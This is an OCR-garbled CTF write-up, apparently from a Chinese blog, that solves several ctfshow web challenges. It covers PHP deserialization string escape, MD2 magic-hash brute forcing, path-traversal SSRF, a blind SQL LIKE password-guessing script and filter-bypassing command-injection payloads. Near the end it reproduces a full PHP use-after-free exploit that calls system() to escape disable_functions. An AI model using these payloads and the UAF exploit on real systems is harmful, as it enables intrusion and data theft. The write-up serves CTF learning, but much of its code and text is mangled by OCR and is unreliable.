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<?php
error_reporting(®0);

class a

{

public $uname;

public $password;

public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;

}
public function __ wakeup()
{
if($this->password==="yu22x")
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}

function filter($string){
return str_replace('Firebasky', 'Firebaskyup',$string);

$uname=$_GET[1];

$password=1;

$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);

?>

KIVFE password=yu22x B LAfF Elflag T, HEKIW A1, FEIHFMstr_replace A7 &8I0 124, RFFILZER

E®EFFIMH: 0:1:"a":2:{s:5:"uname";s:0:"";s:8:"password";s:1:"1";}
BAIFRERNFHIML: 0:1:"a":2:{s:5:"uname";s:0:"";s:8:"password";s:5:"yu22x";}
FTEMEAN: 0:1:"a":2:{s:5:"uname";s:0:"";s:8:"password";s:5:"yu22x";}";s:8:"password";s:1:"1";}

BRBANMENT IONFHF, HEFR EFMATR, WATRBRERT, Mo Heiki Ry, B eRFIit

$uname="'Firebasky";s:8:"password";s:5:"yu22x";}";
$password=1;



rebaskyup”;s:8: "password" ;5:5: "yu22x"; ";5:8: "password" 31115}

"wrong password’;

ilter($string){
str_replace( Firebasky’, "Firebaskyup®,$string);
irebasky”;s:8:"password”;s:5: "yu22x";}";

ord)));
https://blog.csdn.net’bmth666

BIZH ";s:8:"password”;s:5:"yu22x";} ,» 30NFRFE, IAME154FirebaskyBl FJ

?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyF
irebaskyFirebaskyFirebasky";s:8:"password”;s:5:"yu22x";}

:5:"uname™;5:165: "FirebaskyupFirebaskyupFirebas|

sandbox> exited with status e

his->uname
->pas

d==="yu22x")

de(’flag.php’);

"wrong password’;

str_replace( "Firebasky', 'Firebaskyup®,$string);
funame="FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFireba
skyFirebaskyFirebaskyFirebasky";s:8:"password”;s:5:"yu22x";1";

zserialize( a(fun .3 sword)));
https://blog.csdn.netbmth666

E— TREWR165NF4HF

B Ri(Save) HAORIDS  @AES(Embed) P WiF(Run)  +

'FirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFi sandbox> exited with
rebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyup®
print(len(a))

5 & \B ] 15 Flflag
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flag{ec300494-ba13-4112-ad4e3-9590fb7f489¢}
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<?php
error_reporting(0);
highlight_file(_ FILE_ );
$a=%_GET['a'];
$b=$ GET['b'];
$c=%_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
if($d){
highlight_file('hint.php');
if(filter var($url[1],FILTER_VALIDATE_URL)){
$host=parse_url($url[l]);
print_r($host);
if(preg_match('/ctfshow\.com$/",$host[ "host'])){
print_r(file_get_contents($url[1]));
telse{
echo "ERFBBIIT! '
}
Yelse{
echo 'please give me url!!!’';

telse{
echo '#H—HEmdSREiEFEIEME? "

}
telse{

echo "B /MEATIEEElaghf?! '

Bk

(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0)



e, BwpRILATUMEH 1e-162 , #RJEKIAE-323%]-1622 [6] FIAR AT LA

Project

Scratches and Consoles

hphphp?.4.3nts\php.ex

e <
($b==hash("md2", )) && ($c==hash("md2",hash("md2", )))
md2hiiE, B Frobots.txtés TR, B EREIAHENET

< C @ © & BacbaB8f4-d3b1-4c3a-910e-21efofe
8 FSumEe.0E [§ CSON - SUFFEEM. \A BDFEe66 - mEE I KBEEET - 5L

69179.chall.ctf.show/hinthint.txt

Bt Bof CmEeE( - o0 ..

Is it particularly difficult to break MD2Z?!

T'11 tell you guietly that I =saw the pavoad of the author.
But the numbers are not clear.have fun~~~~

XXXXx024452 hash ("md2", 5b)

XHAXKXHEE399 hash ("md2",hash ("md2", 5k) )

X B R airrudder)i{# i i 4=



<?php
/* /) EERE
for ($1=100000000; $1i < 10000000000; $i++) {
$b=hash("md2", 'oe'.$1);
if(is_numeric($b) && substr($b,0,2)==="06e"'){
echo '$1 = ';echo $1i;
echo '$b = ';echo $b;
}

$c=hash("md2", hash("md2", ‘'ee'.$1i));
if(is_numeric($c) && substr($c,0,2)==="0e"'){
echo '$1 = ';echo $1i;
echo '$c = ';echo $c;
}

}
*/

for ($i=0; $i < 999999; $i++) {
$b=hash("md2", '@e'.$i.'024452');
if(is_numeric($b) && substr($b,0,2)==="0e"'){
echo '$i = ';echo $i;
echo '$b = ';echo $b;
¥

$c=hash("md2",hash("md2", '@e'.$i.'48399'));
if(is_numeric($c) && substr($c,0,2)==="0e"'){
echo '$i = ';echo $i;
echo '$c = ';echo %c;

}

?>

183 b=0e652024452, c=0e603448399
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% 3. file_get contentsfff IANEERI ML T2 B F &k, FLIMSSRF
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https://blog.csdn.net/qq_46091464/article/details/108570212

payload: url=a://ctfshow.com/../../../../../../../flog.txt

« c o © & c79a%2c-78fb-4052-9f92-f2f2ade2ch16.chall.ctf.show/?a="Te-162&b=0e6520244528&c=0e603448399

B Bof CmEsE( - Jon.. 2 FSEmeoR [o csDN - sWIFES.. 9 B2EFT666 - BEH HRBEEET - . ) =25 -=28EiTs =

error_reporting(0);
highlight_file(_FILE_ ),
$a=3_GET[ a’ 1:
$=3_GET['®" 1:
$o=3 GET[ <’
Furl [1]1=3_POST["url’ ];
iflis mumerici$a) and strlen(3a)<? and 3Fa!=0 and Faw+2==0) {
3d = ($b="hash("md2”, b)) && (Fc==hash(“md2” hash("md2”, $c)));
if(3d) {
highlight_file( hint.php’ ),
if(filter_var ($url[1], FILTER_VALIDATE_URL)J |
$host=parse_url (Jurl[1]);
print_r($host);
if{prez match( fetfshow'. comd/’, $host[ host 100 1
print_rifile get contents(Furl[1])):

telzel )
echo ' ESEREEINT!
}
Yelzed
echo  'pleaze zive me url!!!’:
]
telzed .
echa ' M—HndsRibiEEFEIM? " -
}
telse{
echo B PENIA TITEEflaglF?!
1
<Tphp

$flag="flaz in /fl0z. txt”;
Array ( [scheme] => a [host] == ctfshow.com [path] ==> /.././.././../../../110g.1xt ) flag{73c83800-1bc9-4¢cc7-a0af-820bb550089a}

O O Osse DEIE NAE ((aasss QuE ORF OFE f D=0 335 WEES @ Max HackBar

‘ [ =] Oafa2c-78th-4052-9f92-f2f2ade2cb16_chall ctf show/?a=1e-1628b=0e652024 &c=0e603448399

Y Spit URL ‘

‘ © Execution ‘

¥ Post Data M Referrer Reverse a» 4a Base6d @ Url & | MD5 & SHA1 & SHA256 4 R

Post data uri=a:f/ctfshow.com/../. Jnog.txd

web3_5E 5 14 45
Bm: BREAR +Hinux R AL + BRLAF

HAZIEHER-ANERFE, BEFELEIEEL:

<Sdiwr
{fdiv>
{fdive
)R EE FERERIR RN
!— username vulix ——>
<!-— SELECT # FROM users where username like binary( Susername’) and password like binary (" $password’)-—>
S body

RIFlke B AW, WLMER % ILEEZANFRF, _ LRBEANFH.

ZRERI % ot v, DI TRIZ _ FHFEABLE.

X Bk 7% B Mipassword AL 3 T, &5 B HELA 32060, RN FEKT 324 _#BL#wrong username or password. R IEFHILEL A
£ 71 have filtered all the characters. Why can you come in? get out!



POST -

Params Authorization

none form-data
KEY
USername

password

Body Cookies (1) Headers (11)
Pretty Raw Preview
5 P T 55 1 D A B

import requests
import string

strs = string.digits+string.ascii_letters
"http://0120d419-a06a-48de-b123-a27b8703807e.chall.ctf.show/login.php’

url

pwd =
for i in range(32):

print('i = "+str(i+l),end="\t")
for j in strs:

password = pwd + j + (31-i)*'_°

Headers (9)

Body @

® -www-form-urlencoded

Test Results

data = {'username':'yu22x','password':password}

r = requests.post(url,data=data)
if 'wrong' not in r.text:

pwd += j

print(pwd)

break

hrtp://01a0d419-a06a-48de-b123-a27b8703807e.chall.ctf.show/login.php

Pre-request Script Tests Settings
raw binary GraphQL
VALUE DESCRIPTION
yu2dx

B Status: 200 0K Time: 72 ms

| have filtered all the characters. Why can you come in? get out!

Size



83210 67815b0cO09ee970fe4014abaa3FacA0 , S FHEN, KRI

01a0d419-a06a-48de-b123-a27b8703807e.chall.ctf.show/P1099.php

likefE . py X

in range(
print('i =
for j in strs:

data = {"u
requests.post(url,d
L r r.text:

puwd
print(pwd)

break

815bBceedec97eeddldabaalFabh
67815b8c08%ee078 e4814abaa3Facnn
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Normal connection /= IF & &R
Abnormal connection /8 EEE
evil input KoL T
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https://blog.csdn.net/bmth

C) =45 - =2BAFE & Paper

b ziNu-cTFO) (BRI

BRGLIIT, ERIRS FREHEILTIE T, B —TREAH A BA BT



NETFREFEEE. REFR. HFE. $. . 2. {) Bt

linux LG —MIREARBIPATH, W UUHEREIE NS FRHAT L.

biox@ubuntu:~S echo SPATH
Jusrflocal/sbin: fusrflocal/bin: fusr/sbin: fusr/bin: /sbin: /bin:/usr/games: fusr/local/games: /snap/bin

bidx@ubuntu:~%

B4 1s, Bl 0;${PATH:5:1}${PATH:2:1}

0;${PATH:5: 1}${PATH: 2:1}|

Normal connection

HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 05 Oct 2020 11:36:25 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/7.3.1‘ P1099.php flag.php index.php login.php style.css style2.css

BJG nl flag.php, BJ 0;${PATH:14:1}${PATH:5:1} ????.???

] PLA) i cat flag.php : ${PATH:23:1}${PWD:2:1}${HOME:12:1} 2???.???

C # view-source:http://01a0d419-a06a-48de-b123-a27b8703807e.chall.ctf.show/P1099.php

i B of (O BEEE( C- o0 .. 2 ASdEcok [o csDN - SWFFESE.. A 5RiFEe66 - BEE HIEEEET - .. ) =2

CIDOCTYPE htmls

<html lang="zh-cn™>

<head>
<meta http—equiv="Content-type” content="text/html  charset=utf-8" />
<link rel="stylesheet” href="style. css">

</head>

<body>

{div style="width:400px height:10px marszin: 100px auto™>

<form action="" method=post>
{input type= text’ name="ip’ placeholder="FISIMNHER (FH Aip) >
</ form>
<fdiw>
</body>

{div align="center”»Normal commection</div>. {/br><div align="center >HTTF/1.1 200 OF
Server: nginx/1. 16,1

Date: Mon, 05 Oct 2020 11:40:24 GNT

Content-Type: text/html; charset=UTF-8

Commectlon: keep-alive

{-Powered-By: PHP/T. 3. 11

1 <?php
2 3$flag="flag{6b45b3e2-dc78-4e36-8ce8—f4eel76ch2a8} "
3 7

<fdivy

BEMEMNHPESBRERRE, 23 TRE, BREIHMEN
5%

ctfshow- A G s WP

ctfshow H B#4F web wp

WEBA ]

BRI -HAEREERM M, FERKFETHARRAC(0rz)


https://blog.csdn.net/hiahiachang/article/details/108800210
https://blog.csdn.net/qq_46091464/article/details/108827377

web55

ARLE 45 T IR

<?php
if(isset($_GET['c']1)){
$c=$ GET['c'];
if(!preg_match("/\;[[a-z][\" |\%|\x@9]\x26|\>|\</i", $c)){
system($c);
¥
Yelse{
highlight_file(_FILE_);

base64
BATTERET DAIE L 3E AL 75 4T VT B Ay 2 34T & B flag.php
payload: ?c=/?2??2/222764 2222.22? Bl /bin/base64 flag.php



& Q@ © & 82b33b12-a7bb-46b5-bade-226becB21be7.chall.ctf.show/?c=%217779%21777764 7277272 8 e P
B Bof (@ - o0 . @ ASHmEeock [8CsDN - SUFEEt. \) SDFees - EE BN AEEEET- a8 [)22E-S2EATE © reper L ZNU-CFOl Eoie O WIMEHE [ Rlssssoes. @ hacr

PD9waHANCgOKLyoNCiMgLSotlGNvZGluZzogdXRmLTggLSotDQgjIEBBAXRob3161GgxeGENCIMg QERhdGUGICAgMjAYMCOWOS0WNyAxOToOMDo1MwOKIyBATGFzdCBNb2RpZmIIZCBieToglCBoMXhh
DQojIEBMYXNOIE 1vZGImaWVKIHRpbWUSIDIWMjAtMDKtMDcgMTk6NDEGMDANCIMgQGVYWIsOiBo MXhhQGNOZmVyLmNvbQOKlyBAbGluazogaHROCHMB6Ly9jdGZIci5jb20NCgOKKIBNCgOKDQokZmxh
Zz0iZmxhZ3thNDMyZjVINyThMjlwLTRIZWUtODAONi1hYzE3NWVhNTQyNmNOIjs=

5 RS BN ]
Bz BASEG4:
<7php - PD9waHAMNCgOKLyoMCiMgLSotlGMNvZGluZzogdXRmLTggL SotDQojIEB
BASEG45E » BdXRob3I61GgxeGENCiMg
~ = QERhdGUBICAgMAyMCOwOS0wNyAxOTo0MDo 1MwiKIyBATGFzdC
# - coding: utf-8 - < BASEGAHS BMNb2RpZmIIZCBieTogICBoMXhh
# @Author: h1xa DQojIEBMYXMOIEvZGImaWVkIHRpbWUBIDIw W AtMD ktMDegMTkEM
# @Date: 2020-09-07 19:40:53 DEBMDANCIMgQGVtYWIsOiBo
# @Last Modified by: hixa MXhhQGNOIZmVyLmhvbQOKIyBAbGIuazogaHROcHMELyjdGZlcisjb20
# @Last Modified time: 2020-09-07 19:41:00 NCgOKKIBNCgOKDQokZmzxh
# @email: h1xa@ctfer.com Zz0iZmxhZthNDMyZVIMNy ThMjiwLTRIZWUtODAONIThYZE3NWVhNTQ
# @link: https://ctfer.com yNmM9ljs=
#
Hflag="flag{ad 32f5e7-a22(-4bee-8046-ac175eab4 26c}";
bzip2
FATH LS % dr 2 45 flag.php SR8 #EAT T 3
payload: 2c=/??22/222/222?22 ??22.2?? WELR /usr/bin/bzip2 flag.php

SRJGV5E) /flag.php.bz2 1T T E
Q, 82b33b12-a7bb-46b5-b44e-226bec821be7.chall.ctf.show/flag.php.bz2

(- }20.. 2B Asmmeos [ cson - SWFEsi.. A BDEwees - BEE AEEEET - .. [O=2s-22850Fs =

1ETE$T flag.php.bz2 *

SEETT

i flag.php.bz2
ISR WinRAR ERERIASTERE (245 F1I)
#HiE: ..33b12-a7bb-46b5-b4de-226becB21be7.chall.ctf. show

£ Firefox WAL H?
WinRAR RS- ETERR (B0 hd

O FF=HE)

(W= | ma

pf#, yyds



. B Mperiod, EKIERMsource—#, BRAM AT HIshell BT — M ICFF K< . i, ZuTiE1THishellZbash, M . file KIEE

& Fbash#AT file STAFH I i &

A file$AT 30, RATEfleFxAURK . M2, WHRBIRRSS EH - DEANTTEESME, BT UM RIITETG?
AR IFEE], AT DURIE—A A& SUFRIPOSTAE, MR PHP2 K BAT AL I SCHRAFFE IR A S - R, BRIAKI U4

R tmp/phpXOOXXXK,  SCMH: 4 B Ja 6~ F R R BEHLK KN+ .
KEFRMATEE [ 2: FM [@-[] REFKEFF

Ma¥E—MPOSTIHR

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">

<meta name="viewport" content="width=device-width, initial-scale=1.0">

<title>POSTH#EAPOC</title>
</head>
<body>

<form action="http://a549c521-fb74-495d-995d-8521b7ea82e8.chall.ctf.show/" method="post" enctype="multipart/form

-data">
<! -- R FT I A - - >
<label for="file">3#4: </label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="#&%">
</form>
</body>
</html>

HEATINE, I ApostidE, payload: ?c=.+/222/22222222[@-[]

#!/bin/sh
cat flag.php

_ L 1 1 |

J L 1 |

POST 2= H772/22722222[@-[) HTTR/11

Host: a549c521-fh74-495d-995d-8521h7eab2e8. chall ctf show

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64; nv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html applicationfxhtml+xml application/xml;q=0.9 image/webp **q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7 zh-HK; q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encading: gzip, deflate

Content-Type: multipartform-data; boundary=-----------------cce—-. A40408583623061240881736310543
Content-Length: 3689

Connection: close

Cookie: UM_distinctid=174dd3ee98a2a-069d3056c12e2258- 423257 h-1fad00-174dd3es98c 129
Upgrade-Insecure-Requests: 1

----------------------------- 40408583623061240881796310549
Content-Disposition: form-data; name="file"; filename="1php"
Content-Type: application/octet-stream

#lbin/sh

cat ﬂag.php|

----------------------------- 40408583623061240881796310543
Content-Disposition: form-data; name="submit"

R
----------------------------- 40408583623061240881796310549-
5%

9k T 7 B B 6 2 AT (ctfshow web A 1] 55)# & 3
T 7 B 1 6y 2 AT (ctfshow web A 1] 55)
ToF B FwebshelZ 2 E 5

HTTR/M.1 200 Ok

Server: nginx/1.14.0 (Ubuntu)

Date: Mon, 05 Oct 2020 12:33:48 GMT
Content-Type: text/html, charset=UTF-8
Connection: close

X-FPowered-By: PHP/T.3.11
Content-Length: 275

<?php

”
#-* coding: utf-g -~

#i@Author: hlxa

#@0Date: 2020-09-07 19:40:53

#@Last Modified by: hlxa

#@Last Modified time: 2020-09-07 19:41:00
#@email: hlxa@ctfer.com

#@link: https:/ctfer.com

*f

Hlag="flag{h957 1763-23fe-4a0d-BbE1-c 455441415},


https://blog.csdn.net/qq_46091464/article/details/108555433
https://blog.csdn.net/qq_46091464/article/details/108513145
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

ARTN

BB ERRR ), BBV KIS T —4cmd
G @ # view-source:http://95f30eb9-057b-4460-b2b3-3cb1942d1149.chall.ctf.show/

Bt [ ctf () BEBNE( - “)o0 .. 2 WESEmEeoE [d cson - sWFFEs. O 5DiFEe6s - BER BRI T - 4.
<html lang="zh-CH">

<head>
<meta http—equiv="Content-Type” content="text/html: charset=IUTF-8" />
<meta name="viewport” content="width=device-width minimm-scale=1.0 maximumscale=1.0 ini-
<titlerctf. show I EEA title>
</head>
<body>
<center>
<h2>ctf. show 1 H20</h2>
<hd>where is the flaz?</hd>
</center>
V= hint:Pcmd= ——>

</body>
</html>

EEIV AR

<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
highlight_file(__FILE_ );
if(preg_match("/[A-Za-0q-z0-9%]+/",%cmd)){
die("cerror");

)
if(preg_match("/\~|\![\@[\#[\%I\AN&INFNCIN) [N PN IN=INZINCINFINDINT N TN I[N, /77, $emd) ) {
die("serror");

}
eval($cmd);

}

?>

banig T B /NEpUSIKIIE T8, URFAMEHE/FN S, . B5ERFS
AR EAE EARE, SEmNSCHERTRE, R . $UTRD

R B SPATRIBEEE, FAFEEecho, <?=fecho()I5 &, H BEphp7HitEH T Eikshort_open_tags &I T # W LAMEH .

AEEESL > TR <2php A A HA AT

Pemd=?><?=".+/??2/p?pP?P??P?7;



AN XA SO

BT Ep, MAEBEALIA /222/p2p222222
1 - - -

i Request

J Raw I Params T Headers T Hex ]

Response

J Raw T Headers T Hex T HTML I Render 1

IPOST fPemd=?=<?="+222/p?p???227?", HTTP/M 1

|Host: 95130eb3-057b-4460-h2b3-3ch1942d1149. chall.ctf show

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv:81.0) Gecko/20100101
Firefox/81.0

Accept: text/html application/xhtml+xml application/xml;q=0.9 imagefwebp ** q=0.8
Accept-Language: zh-CN zh;g=0.8 zh-TW,q=0.7 ,zh-HIK; g=0.5 &n-US; q=0.3 &n;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data;

B OUNE A= meemmmme e e B4903131540426637241242271359

Content-Length: 371

Connection: close

Cookie:

UM_distinctid=174dd3ee88a2a-069d3056012e228-4c31257 b-1a400-17 4dd3ee98c 129
Upgrade-Insecure-Requests: 1

............................. 8490313154042663724124227 1359
Content-Disposition: form-data; name="file"; filename="1php"
Content-Type: application/octet-stream

# [bin/sh

cat Mlag.txt

----------------------------- B4903131540426637241242271359
Content-Disposition: farm-data; name="submit"

It
----------------------------- 84903131540426637241242271359-

%% LACTFSHOWZLL &8 A6 H 7t T F 8 $ #RCE
web57

FEIFEAH T VRS

//flag in 36.php

if(isset( ["c"I)){
= ['c']s

#DD0000"="/[A-Za-0q-20.9%]+/"</span><span style="color: :
#OO0DOBB">$emd</span=<span style="caolor: #007700"=)){<t
/> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp
/=8&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp
;&nbsp;die(</span=<span style="color: #DD0000">"cerror”
/>8&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp
/=8&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp
style="color: #)000BB">preg_match</span=<span style="c
#DO0000"= "N~ M@l [\ [Eamps Y VD PN IVHA]
#I07700">,</span><span style="color, #DOD0BE">$cmd</s|
/> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp
s&nbsp;die(</zpan=<span style="color: #)D0000">"serror”
/=8&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp
/>8&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp
style="color: #J000BEE">$emd</span=<span style="caolor #
/> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp
/>8&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp
/=8&nhsp;&nbsp;&nbsp;&nbsp;&nbsp;</span=<span style=
/> &It /body&gt;<br /> &It /html&qgt;<br /><br [></span>
<f|:0de:lﬂag[eﬂaaSeBl]-hBI1942cdﬁadc-195l]c3513232]|

</body=
</html=

if(!preg_match("/\;[[a-z][[@-9TI\" [\[\#[\"[\"|\"[\%]\x09|\x26]\x@a [ \> [ \<[\. [\, [\?[\*[\-[\=[\[/i", $c)){

system("cat .".ophp");

}
telse{

highlight file(__ FILE_ );

BEMEINFER6, T2, BwpR:
${_}=""

$((${_}))=0

$((~$((${_1)))=-1

#=ABE(Embed)

echo $({~$(())));
echo $((})

payload:

P #77(Run)

+



https://www.gem-love.com/websecurity/1407.html

$((~3(($C(~3(OINE(~3()NS(~$(())NB((~$(())INEC(~$())NE(~$(()))S((~$(())))S((~$(())))$((~$(())))$((~$(
(0)))$((~$(0))N$(~$(())))S((~$(())NB((~$(())N$(~$(())))E((~$(()))NS((~$(())))I$((~$(())))$((~$(())))$((~$(()
))$(~$(0)NS(~$C())))S((~$(())NB((~$(())))E((~$(())))E((~$(())))IS((~$(())))$((~$(())))$((~$(())))$((~$(()))
)$((~$(())))$((~$(())NB((~$(())))E((~$(()))E((~$(())))$((~$(())))$((~$(())))))))

B F=(Save) FEIED #=ABE(Embed) P #177(Run)

echo
$t+.~$t($+.{~$((+m$(( $(tn+:$(t~$u}m$t( $+.(m+${( SISO NS0
())))] IN3( ))))$((~3(())))3
$

(~ $(tn}::)]: |

BEEEIREIGE Elflag
G @ £ view-source:http://7d01bcac-f8cc-4c38-83d0-55c183992210.chall.ctf.sho
|dEAEs OSERLE @ FFELE (P nTEssyrE. () SN -SIREs. © S2E @ PTA | 28

<?php

S

# —*— coding: utf—-8 —*—

# @Author: hlxa

# @Date: 2020-09-07 19:40:53

# @Last Modified by: bfxd

# @Last Modified time: 2020-09-07 19:41:00
# @email: hlza@ctfer. com

# @link: https://ctfer. com

*/

$flag=[flag{38£10909-dd81-4b3d—9471-50b00a6d2aab} | ;

web72

4 T URAED

error_reporting(0);
ini_set('display_errors', 90);
/) RNIERZ G ?
if(isset( ["c"])){
= ['c'];
eval($c);
= ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
telse{
highlight_file(__ FILE_ );
)i



Zeitopen_basedir:
// B 5872 ) H R IR#, 1551 X AF

c=$a=opendir("glob:///*" while = readdir I== false){echo "<br>" include("flagx.txt"
xit
c=$a=new DirectoryIterator("glob:///*");foreach as echo ->__toString Y exit(e

Warning: error_reporting() has been disabled for security reasons in /var/fwww/html/index.php on line 14

Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15
bin dev etd flag0.txt|home lib media mnt opt proc root run sbin srv sys tmp usr var

O O DOeds DEds NRE (g Ou ORF B EE 1 ESRs 88 ARF & Max HacKBar

2 Load URL ‘ http://6bbafed5-91f5-474f-ade0-106a4 78225 chall.cif. show/

Y Spit URL ‘

@ Execution ‘

Post Data Ml Referrer Reverse 4 4. Basesd o @ Url & | MD5 & SHA1 &

Post data c=$a=new Directorylterator("glob:/i/*"y.foreach($a as $ffecho($f->=_ toString().' "y lexit(Ontt

B J5 8 F uaffifi 4 521 B 7] 75 Blflag

C=
pwn("ls /;cat /flagd.txt"

function pwn
global
class Vuln

public
public function _ destruct
global
unset ->a
= (new Exception)->getTrace # ;)
if(!isset 1]["args" # PHP >= 7.4

= debug_backtrace

SHA25¢




class Helper {
public $a, $b, $c, $d;

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 9;
for($j = $s-1; $j >= @; $j--) {
$address <<= 8;
$address |= ord($str[$p+$i]);
}

return $address;

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf('%c',$ptr & Oxff);
$ptr >>= 8;
}

return $out;

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = @; $i < $n; $i++) {
$str[$p + $i] = sprintf('%c',$v & Oxff);
$v >>= 8;

function leak($addr, $p = @, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - ©x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read Write
# handle pie
$data_addr = $e type == 2 ? $p vaddr : $base + $p_vaddr;
$data_size = $p _memsz;



} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = @; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > @ && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e€6174736e6163)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > @ && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326€6962)
continue;
} else continue;

return $data_addr + $i * 8;

function get_binary base($binary leak) {
$base = 0;
$start = $binary_leak & Oxfffffffffffffooo;
for($i = @; $i < Ox1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, @, 7);
if($leak == Ox10102464c457f) { # ELF header
return $addr;

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f _entry = leak($addr);
$f name = leak($f_entry, 0, 6);

if($f name == Ox6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;



function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA " ) ;
$vuln = new Vuln();
$vuln->a = $arg;

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');

$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = @; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA');

trigger_uaf('x");
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == @) {
die("UAF failed");

# leaks

$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, ©xa);

$closure_obj = str2ptr($abc, 0x20);
$binary leak = leak($closure_handlers, 8);

if(!($base = get_binary base($binary_ leak))) {
die("Couldn't determine binary base address");

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif system address");



# fake closure object
$fake_obj_offset = 0xdo;
for($i = @; $i < Ox110; $i += 8) {
write($abc, $fake obj offset + $i, leak($closure obj, $i));

# pwn

write($abc, 0x20, $abc_addr + $fake obj offset);

write($abc, Oxdo + ox38, 1, 4); # internal func type
write($abc, Oxdo + 0x68, $zif system); # internal func handler

($helper->b)($cmd);

exit();
}
POST ¥ | http://6bbafed>-915-474f-a4e0-106a478fb225.chall.ctf.show m Save
Params Authorization Headers (8) Body @ Pre-request Script Tests Settings Cookies C
none @ form-data x-www-form-urlenceded raw binary GraphQL
KEY VALUE DESCRIPTION b Bulk Edi
C I=<Iphp
pwn{"ls f;cat flagl.ot");
Key Description
function pwn{$cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function _destruct() {
global $backtrace;
Body Cookies Headers (7) TestResults ) status 2000K Time: 180 ms  Size: 626 B Save Response
Pretty Raw Preview Visualize

Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14

